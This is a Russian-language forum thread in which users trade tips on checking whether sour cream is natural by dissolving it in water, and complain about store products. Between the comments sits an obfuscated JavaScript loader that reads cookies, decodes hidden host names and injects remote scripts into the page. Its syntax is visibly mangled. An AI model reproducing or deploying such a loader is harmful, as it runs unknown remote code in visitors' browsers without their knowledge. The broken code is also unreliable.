Решила поделиться добытой инфой по поводу определения натуральной сметаны. У меня сейчас период особ...

Блин, завтра проверю 

О, очень полезная информация - у меня муж очень любит всё проверять )

чего-то я забыла про сметану..вообще творог+кефир у меня теперь заправка и в супчик и в салатик.))но проверить свою обычную сметанку,пожалуй,проверю))интересно же! 

Только что писала в предыдущем комментарии, что не могу отказаться от горького шоколада, и от беляша или чебурека, и водичка не помогает.

Проверим!

window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

Спасибо за полезную информацию! Надо будет дома проверить! =)

Я уже давно так  проверяю. К сожалению, на полках наших магазинов я так и не нашла натуральной сметаны

да не зря говорят : " век живи, а второй учись" ))) ну надо же, мне кажется полностью растворится в воде только домашняя сметана купленная у частника, но она очень жирная, а  то что в магазине по любому будет осадок или еще что -то.

Марина Киблер написал:
мне кажется полностью растворится в воде только домашняя сметана купленная у частника, но она очень жирная

ну так сметана и должна быть жирной...

Марина Киблер написал:
то что в магазине по любому будет осадок или еще что -то.

то что в магазине зачастую простокваша под видом сметаны.

Ollllchik написал:
Я уже давно так проверяю. К сожалению, на полках наших магазинов я так и не нашла натуральной сметаны

я тут недавно наткнулась на неплохую сметану. Похоже на деревенскую. Но все равно боюсь проверять. Разочарун меня погубит. Ежели и та сметана не сметана, то тогда в магазинах ее совсем нет. А так молоко у них натуральное. С него даже простокваша получается натуральная. Кефир, варенец объедение. Хотя жирность ниже 3,2 не делают. А так 3,5 обычно. А еще мне нравится, что молочко у них не нормализованное, а судя по надписи на пачке. Жирность не менее 3,4 говорит о том, что молочко из-под коровки. Башкирия нас спасает пока. Они там еще не научились всякое разное вместо молока сувать. У них молочка вся хорошая. И сгущенка настоящая гостовская.

Никогда не проверяла. Но уже давно заметила, что при приготовлении блюд в сметанном соусе, при нагревании этот соус разваливается хлопьями. Я думаю, что это касается в основном маложирной сметаны 10-15-20 процентов.Натуральная сметана как минимум 25%